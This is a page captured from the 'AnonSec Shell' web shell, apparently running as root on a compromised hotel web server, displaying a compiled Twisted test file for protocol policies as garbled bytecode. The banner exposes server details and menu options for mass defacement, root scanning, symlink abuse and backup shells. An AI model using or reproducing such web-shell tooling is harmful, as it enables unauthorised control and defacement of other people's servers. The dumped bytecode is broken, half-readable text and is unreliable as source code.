AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/test/__pycache__/test_policies.cpython-310.pyc
o

�b%��@s�dZddlZddlmZddlmZmZmZddlm	Z	m
Z
mZmZm
Z
ddlmZddlmZmZddlmZGd	d
�d
ej�ZGdd�dej�ZGd
d�dej�ZGdd�dej�ZGdd�dej�ZGdd�dej�ZGdd�dej �Z!Gdd�dej"�Z"Gdd�dej �Z#Gdd�dej �Z$Gdd�dej �Z%Gdd �d ejej&�Z'Gd!d"�d"ej �Z(Gd#d$�d$ej �Z)Gd%d&�d&e�Z*Gd'd(�d(ej+�Z,Gd)d*�d*ej �Z-dS)+z
Test code for policies.
�N)�StringIO)�	Interface�
implementedBy�implementer)�address�defer�protocol�reactor�task)�policies)�StringTransport� StringTransportWithDisconnection)�unittestc@s8eZdZdZZdZdd�Zdd�Zdd�Zd	d
�Z	dS)�SimpleProtocolr�cCst��|_t��|_dS�N)r�Deferred�
dConnected�
dDisconnected��self�r�</usr/lib/python3/dist-packages/twisted/test/test_policies.py�__init__s
zSimpleProtocol.__init__cC�d|_|j�d�dS�N��)�	connectedr�callbackrrrr�connectionMade�zSimpleProtocol.connectionMadecCrr)�disconnectedrr�r�reasonrrr�connectionLost!r!zSimpleProtocol.connectionLostcCs|j|7_dSr)�buffer�r�datarrr�dataReceived%�zSimpleProtocol.dataReceivedN)
�__name__�
__module__�__qualname__rr"r&rr r%r)rrrrrsrc@�eZdZdd�Zdd�ZdS)�SillyFactorycCs
||_dSr��p)rr1rrrr*�
zSillyFactory.__init__cCs|jSrr0)r�addrrrr�
buildProtocol-szSillyFactory.buildProtocolN)r+r,r-rr4rrrrr/)�r/c@�0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�EchoProtocolFcC�
d|_dS�NT��pausedrrrr�pauseProducing4r2zEchoProtocol.pauseProducingcCr8)NFr:rrrr�resumeProducing7r2zEchoProtocol.resumeProducingcCsdSrrrrrr�
stopProducing:�zEchoProtocol.stopProducingcCs|j�|�dSr)�	transport�writer'rrrr)=szEchoProtocol.dataReceivedN)r+r,r-r;r<r=r>r)rrrrr71sr7c@seZdZdZeZdS)�Serverz8
    A simple server factory using L{EchoProtocol}.
    N)r+r,r-�__doc__r7rrrrrrBAsrBc@� eZdZdZdd�Zdd�ZdS)�TestableThrottlingFactoryzH
    L{policies.ThrottlingFactory} using a L{task.Clock} for tests.
    cO�$tjj|g|�Ri|��||_dS�z�
        @param clock: object providing a callLater method that can be used
            for tests.
        @type clock: C{task.Clock} or alike.
        N)r�ThrottlingFactoryr�clock�rrI�args�kwargsrrrrN�
z"TestableThrottlingFactory.__init__cC�|j�||�S�z0
        Forward to the testable clock.
        �rI�	callLater�r�period�funcrrrrQW�z#TestableThrottlingFactory.callLaterN�r+r,r-rCrrQrrrrrEI�	rEc@rD)�TestableTimeoutFactoryzE
    L{policies.TimeoutFactory} using a L{task.Clock} for tests.
    cOrFrG)r�TimeoutFactoryrrIrJrrrrcrMzTestableTimeoutFactory.__init__cCrNrOrPrRrrrrQlrUz TestableTimeoutFactory.callLaterNrVrrrrrX^rWrXc@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"S)#�WrapperTestsz>
    Tests for L{WrappingFactory} and L{ProtocolWrapper}.
    cCs8t�}t�|�}|�t�ddd��}|�|jj|�dS)zf
        Make sure protocol.factory is the wrapped factory, not the wrapping
        factory.
        �TCP�	127.0.0.1�#N)	rBr�WrappingFactoryr4r�IPv4Address�assertIs�wrappedProtocol�factory)r�f�wfr1rrr�test_protocolFactoryAttributex�
z*WrapperTests.test_protocolFactoryAttributecCslGdd�dt�}t|�Gdd�d��}ttj�t��}t�t�d�|�}|�|��|�	|�
|j��dS)z�
        The transport wrapper passed to the wrapped protocol's
        C{makeConnection} provides the same interfaces as are provided by the
        original transport.
        c@�eZdZdS)z=WrapperTests.test_transportInterfaces.<locals>.IStubTransportN�r+r,r-rrrr�IStubTransport��ric@rg)z<WrapperTests.test_transportInterfaces.<locals>.StubTransportNrhrrrr�
StubTransport�srkN)rrrr�ProtocolWrapperr�Protocolr^�makeConnection�
assertTrue�
providedByr@)rrirk�proto�wrapperrrr�test_transportInterfaces�s

z%WrapperTests.test_transportInterfacescCs$t�}t�|�}|�d|���dS)z�
        L{WrappingFactory.logPrefix} is customized to mention both the original
        factory and the wrapping factory.
        zServer (WrappingFactory)N)rBrr^�assertEqual�	logPrefix)r�serverrbrrr�test_factoryLogPrefix�s
z"WrapperTests.test_factoryLogPrefixcCs2Gdd�d�}|�}t�|�}|�d|���dS)z�
        If the wrapped factory doesn't have a L{logPrefix} method,
        L{WrappingFactory.logPrefix} falls back to the factory class name.
        c@rg)z=WrapperTests.test_factoryLogPrefixFallback.<locals>.NoFactoryNrhrrrr�	NoFactory�rjrxzNoFactory (WrappingFactory)N)rr^rtru)rrxrvrbrrr�test_factoryLogPrefixFallback�s
z*WrapperTests.test_factoryLogPrefixFallbackcCs8t�}t�|�}|�t�ddd��}|�d|���dS)z{
        L{ProtocolWrapper.logPrefix} is customized to mention both the original
        protocol and the wrapper.
        r[r\r]zEchoProtocol (ProtocolWrapper)N)rBrr^r4rr_rtru)rrvrbrrrr�test_protocolLogPrefix�rfz#WrapperTests.test_protocolLogPrefixcCsLGdd�d�}t�}||_t�|�}|�t�ddd��}|�d|���dS)z�
        If the wrapped protocol doesn't have a L{logPrefix} method,
        L{ProtocolWrapper.logPrefix} falls back to the protocol class name.
        c@rg)z?WrapperTests.test_protocolLogPrefixFallback.<locals>.NoProtocolNrhrrrr�
NoProtocol�rjr{r[r\r]zNoProtocol (ProtocolWrapper)N)	rBrrr^r4rr_rtru)rr{rvrbrrrr�test_protocolLogPrefixFallback�s
z+WrapperTests.test_protocolLogPrefixFallbackcCs,t�t�t��t���}t�}|�|�|S)zm
        Return L{policies.ProtocolWrapper} that has been connected to a
        L{StringTransport}.
        )rrlr^rBrrmrrn�rrrr@rrr�_getWrapper�s�
zWrapperTests._getWrappercC�"|��}|�|��|j���dS)zk
        L{policies.ProtocolWrapper.getHost} calls C{getHost} on the underlying
        transport.
        N)r~rt�getHostr@�rrrrrr�test_getHost��zWrapperTests.test_getHostcCr)zk
        L{policies.ProtocolWrapper.getPeer} calls C{getPeer} on the underlying
        transport.
        N)r~rt�getPeerr@r�rrr�test_getPeer�r�zWrapperTests.test_getPeercCs<|��}t�}|�|d�|�|jj|�|�|jj�dS)z}
        L{policies.ProtocolWrapper.registerProducer} calls C{registerProducer}
        on the underlying transport.
        TN)r~�object�registerProducerr`r@�producerro�	streaming�rrrr�rrr�test_registerProducer�s
z"WrapperTests.test_registerProducercCsB|��}t�}|�|d�|��|�|jj�|�|jj�dS)z�
        L{policies.ProtocolWrapper.unregisterProducer} calls
        C{unregisterProducer} on the underlying transport.
        TN)r~r�r��unregisterProducer�assertIsNoner@r�r�r�rrr�test_unregisterProducer�sz$WrapperTests.test_unregisterProducercs6|��}g��fdd�|j_|��|��dg�dS)zw
        L{policies.ProtocolWrapper.stopConsuming} calls C{stopConsuming} on
        the underlying transport.
        cs
��d�Sr9��appendr��resultrr�<lambda>s
z1WrapperTests.test_stopConsuming.<locals>.<lambda>TN)r~r@�
stopConsumingrtr�rr�r�test_stopConsumings
zWrapperTests.test_stopConsumingcsDg�G�fdd�d�}t�|��}t�}|�|�|��|g�dS)z}
        L{policies.WrappingFactory.startedConnecting} calls
        C{startedConnecting} on the underlying factory.
        c�eZdZ�fdd�ZdS)z4WrapperTests.test_startedConnecting.<locals>.Factorycs��|�dSrr�)r�	connectorr�rr�startedConnectingszFWrapperTests.test_startedConnecting.<locals>.Factory.startedConnectingN)r+r,r-r�rr�rr�Factory�r�N)rr^r�r�rt)rr�rrr�rr�r�test_startedConnectings
z#WrapperTests.test_startedConnectingc�Pg�G�fdd�d�}t�|��}t�}t�}|�||�|��||fg�dS)z�
        L{policies.WrappingFactory.clientConnectionLost} calls
        C{clientConnectionLost} on the underlying factory.
        cr�)z7WrapperTests.test_clientConnectionLost.<locals>.Factoryc���||f�dSrr��rr�r$r�rr�clientConnectionLost$r*zLWrapperTests.test_clientConnectionLost.<locals>.Factory.clientConnectionLostN)r+r,r-r�rr�rrr�#r�r�N)rr^r�r�rt�rr�rrr�r$rr�r�test_clientConnectionLost�z&WrapperTests.test_clientConnectionLostcr�)z�
        L{policies.WrappingFactory.clientConnectionFailed} calls
        C{clientConnectionFailed} on the underlying factory.
        cr�)z9WrapperTests.test_clientConnectionFailed.<locals>.Factorycr�rr�r�r�rr�clientConnectionFailed5r*zPWrapperTests.test_clientConnectionFailed.<locals>.Factory.clientConnectionFailedN)r+r,r-r�rr�rrr�4r�r�N)rr^r�r�rtr�rr�r�test_clientConnectionFailed-r�z(WrapperTests.test_clientConnectionFailedcCsRt�t�t��t���}t�}||_|�|�|�|j	�|�
�|�|j	�dS)z�
        L{policies.ProtocolWrapper.connectionLost} sets C{wrappedProtocol} to
        C{None} in order to break reference cycle between wrapper and wrapped
        protocols.
        :return:
        N)rrlr^rBrrmr
rn�assertIsNotNonera�loseConnectionr�r}rrr�test_breakReferenceCycle>s�
z%WrapperTests.test_breakReferenceCycleN)r+r,r-rCrersrwryrzr|r~r�r�r�r�r�r�r�r�r�rrrrrZss$
	

rZc@r.)r^cCs|Srr)rrcr1rrrrRr?zWrappingFactory.protocolcCstj�|�|j�d�dSr)rr^�startFactory�deferredrrrrrr�UszWrappingFactory.startFactoryN)r+r,r-rr�rrrrr^Qr5r^c@r6)�ThrottlingTestsz2
    Tests for L{policies.ThrottlingFactory}.
    c	st�}dd�td�D�\����t�|d��t��}t��|_tj	d|dd����
�j�����fdd	�}�����fd
d�}�fdd
�}��fdd�}��fdd�}���fdd�}|j�|�|j�|�|j�|�|j�|�|j�|�|j�|�|jS)z�
        Full test using a custom server limiting number of connections.

        FIXME: https://twistedmatrix.com/trac/ticket/10012
        This is a flaky test.
        css�|]}t�VqdSr)r)�.0�irrr�	<genexpr>gs�z-ThrottlingTests.test_limit.<locals>.<genexpr>��rr\)�	interfacecsDt�d�t����j���fdd���j���fdd���jS)Nr\c�t�d�t���S�Nr\�r	�
connectTCPr/��r)�c2�nrrr�s�zAThrottlingTests.test_limit.<locals>._connect123.<locals>.<lambda>cr�r�r�r�)�c3r�rrr�vr�)r	r�r/r�addCallbackr��results)�c1r�r�r�rr�_connect123ps��z/ThrottlingTests.test_limit.<locals>._connect123csZ��dd����fD�gd����dd����fD�gd����t�j���d�|S)NcS�g|]}|j�qSr)r�r��crrr�
<listcomp>{r�zAThrottlingTests.test_limit.<locals>._check123.<locals>.<listcomp>)rrrcSr�r)r"r�rrrr�|r�)rrrr�)rt�len�	protocols�keysr�)r�r�r�r�tServerrr�	_check123zs  z-ThrottlingTests.test_limit.<locals>._check123cs�j���jSr)r@r�rr�)r�rr�_lose1�s
z*ThrottlingTests.test_limit.<locals>._lose1cst�d�t����jSr�)r	r�r/rr�)�c4r�rr�	_connect4�sz-ThrottlingTests.test_limit.<locals>._connect4cs ���jd����jd�|S)Nrr)rtrr"r�)r�rrr�_check4�sz+ThrottlingTests.test_limit.<locals>._check4cs4��fD]}|j��qt�t��j��j�jg�Sr)r@r�r�DeferredList�
maybeDeferred�
stopListeningr)r�r�)r�r�r1rr�_cleanup�s
��z,ThrottlingTests.test_limit.<locals>._cleanup)
rB�rangerrHr^rrr�r	�	listenTCPr��portr�)	rrv�wrapTServerr�r�r�r�r�r�r)r�r�r�r�r�r1rr�r�
test_limit_s(


zThrottlingTests.test_limitcCspt�}tt��|�}|�t�ddd��}t�}||_|�	|�|�
dgd�|�|��d�|�|j
d�dS)	zZ
        L{ThrottlingProtocol.writeSequence} is called on the underlying factory.
        r[r\r�bytesr�sbytesbytesbytesbytes�N)rBrEr
�Clockr4rr_r
rrn�
writeSequencert�value�writtenThisSecond)rrvr�rr@rrr�test_writeSequence�s
z"ThrottlingTests.test_writeSequencecCs�t�}tt��|dd�}|�t�ddd��}t�}||_|�	|�|j
|_|�d�|�d�|�
|��d�|�
|jd	�|�|j
j�|j�d
�|�
|jd�|�|j
j�|j�d
�|�
|jd�|�|j
j�dS)ze
        Check the writeLimit parameter: write data, and check for the pause
        status.
        �
)�
writeLimitr[r\r�
0123456789�
abcdefghij�0123456789abcdefghijr���������?N)rBrEr
r�r4rr_r
rrnrar�r)rtr�r��assertFalser;rI�advancero�rrvr�r��trrrr�test_writeLimit�s$


zThrottlingTests.test_writeLimitcCsRt�}tt��|dd�}|�t�ddd��}t�}||_|�	|�|�
d�|�
d�|�|��d�|�|j
d	�|j�d
�|�|j
d�|�|jd�|j�d
�|�|j
d�|�|jd�|��|�
d�|�
d�|�|��d�|�|j
d	�|j�d
�|�|j
d�|�|jd�|j�d
�|�|j
d�|�|jd�d
S)zb
        Check the readLimit parameter: read data and check for the pause
        status.
        r�)�	readLimitr[r\rr�r�r�r�r�r;�	producingN)rBrEr
r�r4rr_r
rrnr)rtr��readThisSecondrIr��
producerState�clearr�rrr�test_readLimit�s6




zThrottlingTests.test_readLimitN)r+r,r-rCr�r�r�r�rrrrr�ZsBr�c@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�TimeoutProtocolTestsz0
    Tests for L{policies.TimeoutProtocol}.
    cCsTt��}t��}t|_t||d�}|�t�ddd��}t	�}||_|�
|�||fS)z�
        Helper to set up an already connected protocol to be tested.

        @return: A new protocol with its attached clock.
        @rtype: Tuple of (L{policies.TimeoutProtocol}, L{task.Clock})
        Nr[r\�90)r
r�r�
ServerFactoryrrXr4rr_r
rn)rrI�wrappedFactoryrbrqr@rrr�getProtocolAndClock�s
z(TimeoutProtocolTests.getProtocolAndClockcCsj|��\}}|�d�|�|j�|�|jj�|�d�|��|�	|j�|�d�|�|jj�dS)z2
        Will cancel the ongoing timeout.
        �rN)
r��
setTimeoutr��timeoutCallr�rar"r��
cancelTimeoutr��r�sutrIrrr�test_cancelTimeouts


z'TimeoutProtocolTests.test_cancelTimeoutcCs2|��\}}|�|j�|��|�|jj�dS)z<
        Does nothing if no timeout is already set.
        N)r�r�r�r�r�rar"r�rrr�test_cancelTimeoutNoTimeout$sz0TimeoutProtocolTests.test_cancelTimeoutNoTimeoutcCs>|��\}}|j}|�d�|�d�|�|j�|��dS)z@
        Does nothing if no timeout is already reached.
        r�N)r�rar�r�ror"r�)rr�rI�wrappedProtorrr�test_cancelTimeoutAlreadyCalled0s

z4TimeoutProtocolTests.test_cancelTimeoutAlreadyCalledcCs:|��\}}|�d�|j��|��|�|jj�dS)zm
        Does nothing if the timeout is cancelled from another part.
        Ex from another thread.
        r�N)r�r�r��cancelr�r�rar"r�rrr�"test_cancelTimeoutAlreadyCancelled>s


z7TimeoutProtocolTests.test_cancelTimeoutAlreadyCancelledN)	r+r,r-rCr�r�r�r�r�rrrrr��sr�c@r6)�TimeoutFactoryTestsz/
    Tests for L{policies.TimeoutFactory}.
    cCsnt��|_t��}t|_t|j|d�|_|j�t	�
ddd��|_t�|_
|j|j
_|j�|j
�|jj|_dS)zq
        Create a testable, deterministic clock, and a set of
        server factory/protocol/transport.
        r�r[r\r�N)r
r�rIrr�rrXrbr4rr_rqr
r@rnrar�)rr�rrr�setUpSs
�
zTimeoutFactoryTests.setUpcCs@|j�gd��|�|jj�|j�ddg�|�|jj�dS)z�
        Make sure that when a TimeoutFactory accepts a connection, it will
        time out that connection if no data is read or written within the
        timeout period.
        )���?��?rg�������?r皙�����?N)rI�pumpr�r�r"rorrrr�test_timeoutdsz TimeoutFactoryTests.test_timeoutcCs�|j�gd��|�|jj�|j�d�|j�gd��|�|jj�|j�dgd�|j�gd��|�|jj�|j�ddg�|�|jj�dS)	z�
        Make sure that writing data to a transport from a protocol
        constructed by a TimeoutFactory resets the timeout countdown.
        )rrr�bytes bytes bytes�rrrr�r�rg@N)	rIrr�r�r"rqrAr�rorrrr�test_sendAvoidsTimeoutrsz*TimeoutFactoryTests.test_sendAvoidsTimeoutcCsj|j�gd��|�|jj�|j�d�|j�gd��|�|jj�|j�gd��|�|jj�dS)zR
        Make sure that receiving data also resets the timeout countdown.
        )rrrrrN)rIrr�r�r"rqr)rorrrr�test_receiveAvoidsTimeout�sz-TimeoutFactoryTests.test_receiveAvoidsTimeoutN)r+r,r-rCrrr	r
rrrrr�Nsr�c@sJeZdZdZdZdZdd�Zdd�Zdd	�Zddd�Z	d
d�Z
dd�Zd
S)�
TimeoutTesterz�
    A testable protocol with timeout facility.

    @ivar timedOut: set to C{True} if a timeout has been detected.
    @type timedOut: C{bool}
    r�FcCs
||_dS)zF
        Initialize the protocol with a C{task.Clock} object.
        N)rI)rrIrrrr��
zTimeoutTester.__init__cCs|�|j�dS)z3
        Upon connection, set the timeout.
        N)r��timeOutrrrrr �szTimeoutTester.connectionMadecCs|��tj�||�dS)z,
        Reset the timeout on data.
        N)�resetTimeoutrrmr)r'rrrr)�szTimeoutTester.dataReceivedNcCs|�d�dS)zD
        On connection lost, cancel all timeout operations.
        N)r�r#rrrr%�rUzTimeoutTester.connectionLostcCs
d|_dS)zX
        Flags the timedOut variable to indicate the timeout of the connection.
        TN)�timedOutrrrr�timeoutConnection�rzTimeoutTester.timeoutConnectioncOs|jj||g|�Ri|��S)zD
        Override callLater to use the deterministic clock.
        rP)r�timeoutrTrKrLrrrrQ�szTimeoutTester.callLaterr)r+r,r-rCr
rrr r)r%rrQrrrrr�s
rc@sPeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�ZdS)�TimeoutMixinTestsz-
    Tests for L{policies.TimeoutMixin}.
    cCst��|_t|j�|_dS)zY
        Create a testable, deterministic clock and a C{TimeoutTester} instance.
        N)r
r�rIrrqrrrrr�s
zTimeoutMixinTests.setUpcCs$|j�d�|�t|jj�d�dS)z�
        Test that the callLater of the clock is used instead of
        L{reactor.callLater<twisted.internet.interfaces.IReactorTime.callLater>}
        r�rN)rqr�rtr�rI�callsrrrr�test_overriddenCallLater�sz*TimeoutMixinTests.test_overriddenCallLatercCsN|j�t��|j�gd��|�|jj�|j�ddg�|�|jj�dS)zq
        Check that the protocol does timeout at the time specified by its
        C{timeOut} attribute.
        �rrrrrrN)rqrnrrIrr�rrorrrrr�s
zTimeoutMixinTests.test_timeoutcCsx|j�t��|j�gd��|�|jj�|j�d�|j�gd��|�|jj�|j�ddg�|�|jj�dS)zV
        Check that receiving data is delaying the timeout of the connection.
        rshello there)rrrrrrN)	rqrnrrIrr�rr)rorrrr�test_noTimeout�sz TimeoutMixinTests.test_noTimeoutcCsrd|j_|j�t��|j�d�|�|jjd�|j�ddg�|�|jj	�|j�ddg�|�
|jj	�dS)zy
        Check that setting a new value for timeout cancel the previous value
        and install a new timeout.
        Nrrg�������?r)rqr
rnrr�rtrIrr�rrorrrr�test_resetTimeoutsz#TimeoutMixinTests.test_resetTimeoutcCsRd|j_|j�t��|j�d�|�|jj�|j�gd��|�|jj	�dS)zO
        Setting the timeout to L{None} cancel any timeout operations.
        �N)rrrr)
rqr
rnrr�r�rIrr�rrrrrr�sz$TimeoutMixinTests.test_cancelTimeoutcCsbd|j_|�|j�d�d�|�|j�d�d�|�|j�d��|�|jjd�|j�d�dS)zM
        setTimeout should return the value of the previous timeout.
        rr�Nr)rqr
rtr�r�rrrr�test_setTimeoutReturn sz'TimeoutMixinTests.test_setTimeoutReturncCsJ|j�d�|j��d��|�|jj�|j�d�|�|jj�dS)z�
        When the timeout was already cancelled from an external place,
        calling setTimeout with C{None} to explicitly cancel it will clean
        up the timeout without raising any exception.
        r�rN)rqr�rI�getDelayedCallsr�r�r
r�rrrr�%test_setTimeoutCancleAlreadyCancelled.s
z7TimeoutMixinTests.test_setTimeoutCancleAlreadyCancelledN)r+r,r-rCrrrrrr�rrrrrrr�s

rc@rD)�!LimitTotalConnectionsFactoryTestsz/Tests for policies.LimitTotalConnectionsFactorycCs�t��}tj|_|�d|j�|�d�}|�d|j�|�d�}|�d|j�|�d�|�d|j�|�d�|�d|j�dS)Nrrr�)r�LimitTotalConnectionsFactoryrrmrt�connectionCountr4r%)rrb�p1�p2rrr�testConnectionCountingBs



z8LimitTotalConnectionsFactoryTests.testConnectionCountingcs�t���tj�_d�_��d�}|�|�|�d�j�|�	��d��|�d�j�G�fdd�dtj�}|�_
d�_��d�}|�d�|�
�j�|�d�j�|�d�|�d�j�|�d�|�d�j�dS)Nrcr�)zRLimitTotalConnectionsFactoryTests.testConnectionLimiting.<locals>.OverflowProtocolcs
d�_dSr9)�
overflowedr�rbrrr hr2zaLimitTotalConnectionsFactoryTests.testConnectionLimiting.<locals>.OverflowProtocol.connectionMadeN)r+r,r-r rr#rr�OverflowProtocolgr�r$Fr�r)rrrrm�connectionLimitr4r�rtrr��overflowProtocolr"rnror%)rr1r$�oprr#r�testConnectionLimitingVs&





z8LimitTotalConnectionsFactoryTests.testConnectionLimitingN)r+r,r-rCr!r(rrrrr?src@seZdZdd�ZdS)�WriteSequenceEchoProtocolcCs0|�d�dkr|j�|g�dSt�||�dS)Nsvector!���)�findr@r�r7r))r�bytesrrrr)~sz&WriteSequenceEchoProtocol.dataReceivedN)r+r,r-r)rrrrr)}sr)c@seZdZdZdd�ZdS)�TestLoggingFactoryNcCs |jdus	Jd��t�|_|jS)Nzopen() called too many times)�openFiler)r�namerrr�open�szTestLoggingFactory.open)r+r,r-r.r0rrrrr-�sr-c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�LoggingFactoryTestsz6
    Tests for L{policies.TrafficLoggingFactory}.
    cCst�}t|_t�}t|d�}|�d�}||_|�|�|j��}|�	d|�|�
|���|�d�|j��}|�	d�
d�|�|�	d�
d�|�|�|��d�|��|�d�|j��}|�	d�
dg�|�|�|��d�|��|j��}|�	d	|�d
S)zQ
        Check the output produced by L{policies.TrafficLoggingFactory}.
        �test��1.2.3.4i.�*shere are some bytesz	C 1: {!r}z	S 1: {!r}s"prepare for vector! to the extremez
SV 1: {!r}�ConnectionDoneN)rBr)rr
r-r4rnr.�getvalue�assertInr�r�r)�formatrtr�r�)rr��trcr1�vrrr�test_thingsGetLogged�s.








z(LoggingFactoryTests.test_thingsGetLoggedcCsnt�}t|d�}|�|jd�|�d�|�|jd�d|_|�d�|�|jd�|��|�|jd�dS)zG
        Test counter management with the resetCounter method.
        r2rr3rN)r4i/r�)rBr-rt�_counterr4r.�resetCounter)rr�rcrrr�test_counter�s


z LoggingFactoryTests.test_countercs�g�g���fdd�}|�td|�t��}t|_t�|d�}|�t�	ddd��}|�t�	ddd��}d	if}d
if}|�
||g��|�
|j|jg��dS)z�
        When the L{policies.TrafficLoggingFactory} builds a protocol, it
        automatically opens a unique log file for that protocol and attaches
        the logfile to the built protocol.
        cs,��||f�t�}|d|_��|�|S)zX
            Mock for the open call to prevent actually opening a log file.
            r)r�rr/)rKrL�io��
open_calls�open_rvaluesrr�mocked_open�s


zULoggingFactoryTests.test_loggingFactoryOpensLogfileAutomatically.<locals>.mocked_openr0r2r[r\r�i:0)ztest-1�w)ztest-2rEN)�patch�builtinsrr�rr�TrafficLoggingFactoryr4rr_rt�logfile)rrDr�rb�first_proto�second_proto�
first_call�second_callrrAr�,test_loggingFactoryOpensLogfileAutomatically�s"
��z@LoggingFactoryTests.test_loggingFactoryOpensLogfileAutomaticallyN)r+r,r-rCr<r?rNrrrrr1�s
"r1).rCrGr@r�zope.interfacerrr�twisted.internetrrrr	r
�twisted.protocolsr�twisted.test.proto_helpersrr
�
twisted.trialrrmr�
ClientFactoryr/r7r�rBrHrErYrX�TestCaserZr^r�r�r��TimeoutMixinrrrr)rHr-r1rrrr�<module>s6_	XU1k>	

Anon7 - 2022
AnonSec Team